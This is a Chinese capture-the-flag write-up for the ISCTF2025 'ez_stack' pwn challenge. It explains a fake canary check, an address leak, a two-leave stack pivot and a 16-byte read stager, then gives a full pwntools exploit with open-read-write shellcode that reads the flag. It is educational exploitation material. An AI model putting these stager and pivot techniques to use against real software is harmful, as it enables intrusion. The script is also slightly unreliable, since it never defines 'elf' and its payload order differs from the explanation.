ez_stack

isctf2025ez_stack (4).png

有sandbox

isctf2025ez_stack (3).png

main函数:

isctf2025ez_stack (1).png

这题的sub_13b3函数就是一个读入函数,是读到\n或读入指定数量停止,但是不会像fgets添加\n,这里我们看到有向一个特殊的指定位置写入,依据经验我们可以猜测这里是7权限,但是我们看伪代码是看不到初始化过程的,我们要看汇编才能看到完整的

isctf2025ez_stack (8).png

这里我们看到那个位置权限确实是7(mov r9d, 9这里9的系统调用号代表mmap,一般这个是存rax里的,但是sub_1149里的syscall的过程做了一些修改)

sub_1429函数:

isctf2025ez_stack (2).png

sub_1342就相当于write,输出功能,sub_1149就是一个syscall,这里是实现那几个自己写的函数的功能的

sub_150a函数:

isctf2025ez_stack (5).png

sub_1785函数:

isctf2025ez_stack (6).png

sub_1637函数:

isctf2025ez_stack (7).png

无后门函数,我们看到sandbox禁止了execve,所以我们考虑使用orw,我们可以向114那个地址(权限为7)写入16字节,那我们就考虑在哪里放一个stager读取我们的orwshellcode,我们看到sub_150a是一个检查函数,这里要求我们最多只能写一个syscall,但是这里我们只放一个read的stager,可以通过检查,我们后面放orw链后没有再次检查,所以这个检查对我们没什么影响,sub_1785函数给了我们main函数地址和v3地址,相当于给了我们pie基址和栈基址,然后进入sub_1637函数,这里是一个明显的栈溢出,但是有canary,且有一个奇怪的报错字符串,这里我们要看汇编代码

isctf2025ez_stack (9).png

这里是结尾部分,在开头我们能看到确实是设置了canary,但是我们注意到结尾的检查部分,这里并没有检查canary,而是movzx eax, byte ptr [rbp+8],这个地方检查的是返回地址,取第一字节,注意这里是小端序,所以取的是我们看到的地址的最后一字节,这个是固定的,我们可以在ida中找到,返回地址就是main函数call sub_1637的下一条指令的地址

isctf2025ez_stack (11).png

这里我们可以看到是0x189b,这里其实相当于一个固定的canary,那我们现在就能利用栈溢出了,我们这里不之间构造rop链,因为题目没给我们足够的gadget,所以我们还是考虑用orw的shellcode。

那我们先考虑16字节的read构造,如果直接写完整的肯定是不够的

xor eax, eax            ; 2 字节
xor edi, edi            ; 2 字节
movabs rsi, 0x114514000 ; 10 字节
mov rdx, 0x1000         ; 7 字节
syscall                 ; 2 字节

主要是用mov传输参数消耗太多字节了,那我们可以改成这样

stager = asm("""
    pop rsi
    pop rdx
    xor rdi, rdi
    xor rax, rax
    syscall
    """)

这里我们用pop指令,我们只用把参数在我们后面利用栈溢出的时候放在payload之中就行了,然后我们考虑栈溢出的payload,这里我们要考虑通过检查并且进行一次迁移来执行我们的114地址的stager和orw,那我们要考虑栈迁移。

payload_head = flat([
    b'A' * 8,   
    target_stager + 0x10,  
    target_stager,  
    0x1000   
    ])
payload = payload_head.ljust(264, b'A')
payload += b'A' * 8 
payload += p64(fake_rbp) 

这里我们讲解一下流程,主要是我们利用两次leave(哪两个leave后面会提到),把rsp迁移过去,这里fake_rbp是v4的地址,后面会提怎么得到的,这里解释一下为什么是迁移到把栈迁移到我们payload的开头(即v4地址),而不是直接迁移到114那个地址,就是因为我们的stager中由于大小限制我们把参数放在了payload中,所以我们如果直接迁到114,我们就不能传递参数了(我们的参数在payload中),所以我们只把栈迁到我们的payload的地方,但是我们把target_stager的地址会放在ret(即rip)的位置,这样就能做到执行我们放在114地址的代码了,首先第一次leave,我们把rbp设置成我们fake_rbp(我们payload的开头),然后再次leave,rsp指向我们rbp存的地方即我们payload的开头,然后我们用A吃掉pop rbp,然后ret,这里把我们的target_stager执行了,那就开始从114地址的开头一直往后执行了,我们就成功栈迁移并执行我们的stager了,后面分别放rsi和rdx存的参数,这里我们把orw放在stager后面,我们前面stager虽然不满16字节,但是我们用nop(\x90)填充,rip看到nop就自动往下跳,所以我们能连续执行114地址上的指令。

这里说一下fake_rbp(即v4的地址怎么得到),我们前面有泄露栈地址,那我们就只需要找到v4和泄露的这个地址的偏移就行,这个是固定的,我们在gdb中找,我的方法是先写一个接收泄露地址的脚本,然后在sub_1637下断点,然后运行脚本,我们会停止sub_1637,注意,这里要先ni进入sub_1637,否则sub_1637的栈帧还没建立,这里进入sub_1637,我们在ida中能看到v4在rbp-0x110的位置,所以如图就得到偏移了(后面那个是我们接收的泄露的栈地址)

isctf2025ez_stack (10).png

接下来我们要考虑返回地址覆盖成什么了,我们前面分析过要9b结尾,但是我们可以发现找不到符合的leave和ret,我们可以发现这个是main函数的结尾,所以直接返回的话就是main函数的leave,所以这里我们就保持返回地址不变,我们就有两个leave了(sub_1637结尾的leave和main函数结尾的leave),那我们保持返回地址不变是不是就直接不覆盖返回地址就行,这里不能这么做,我们前面提到过,程序用的是自己创建的函数sub_13b3,要么payload长度达到4096,这肯定会覆盖返回地址的,要么我们就用sendline(payload),这样它读到\n就停止了,但是我们前面栈迁移要把rbp覆盖成我们指定的,所以直接添加\n还是会覆盖返回地址,那么我们只能得到返回地址,然后再payload中把返回地址覆盖成返回地址,再在这之后加\n就行了,我们前面能得到pie基址,这里就可以用上了。

这里我们最后要用sendline发送payload,不然它会一直等着输入4096字节才下一步。

orw就用shellcraft生成的就行,这里多解释一下这个orw链,read('rax', 'rsp', 0x100),这里rax位置一般是3,但是我们用rax动态接收open打开的文件描述符,保证不会出错,rsp位置一般是放一个可读可写的位置(例如.bss段),我们这里直接放rsp,因为栈空间天然就可读可写,我们就不用特地找位置了。

这题不知道为什么运行这个脚本会有小几率失败,失败了就再运行一遍就行了。

EXP:

from pwn import *
context(arch='amd64', os='linux', log_level='debug')
p = process('./baby_stack')
stager = asm("""
    pop rsi
    pop rdx
    xor rdi, rdi
    xor rax, rax
    syscall
    """)
p.sendafter(b"2025!", stager.ljust(16, b'\x90'))
p.recvuntil(b"GIFT?\n")
leak_main = u64(p.recv(6).ljust(8, b'\x00'))
elf.address = leak_main - 0x184f
print(f"[*] PIE Base: {hex(elf.address)}")
p.recv(1)
leak_stack = u64(p.recv(6).ljust(8, b'\x00'))
print(f"[*] Stack Leak: {hex(leak_stack)}")
buffer_addr = leak_stack - 0xe8 
trampoline = elf.address + 0x189b
target_stager = 0x114514000
fake_rbp = buffer_addr   
payload_head = flat([
    b'A' * 8,   
    target_stager,  
    target_stager + 0x10,  
    0x1000   
    ])
payload = payload_head.ljust(264, b'A')
payload += b'A' * 8 
payload += p64(fake_rbp) 
payload += p64(trampoline) 
p.sendline(payload)
sleep(0.5)
orw = asm(
    shellcraft.open("flag") + 
    shellcraft.read('rax', 'rsp', 0x100) + 
    shellcraft.write(1, 'rsp', 0x100)
    )
p.send(orw)
p.interactive()

题目链接:

CTF-Writeups/ISCTF2025/ez_stack at main · ZenDuk17/CTF-Writeups


ez_stack
http://localhost:8080/archives/wei-ming-ming-wen-zhang-vcW4H4l5
作者
ZenDuk
发布于
2025年12月11日
许可协议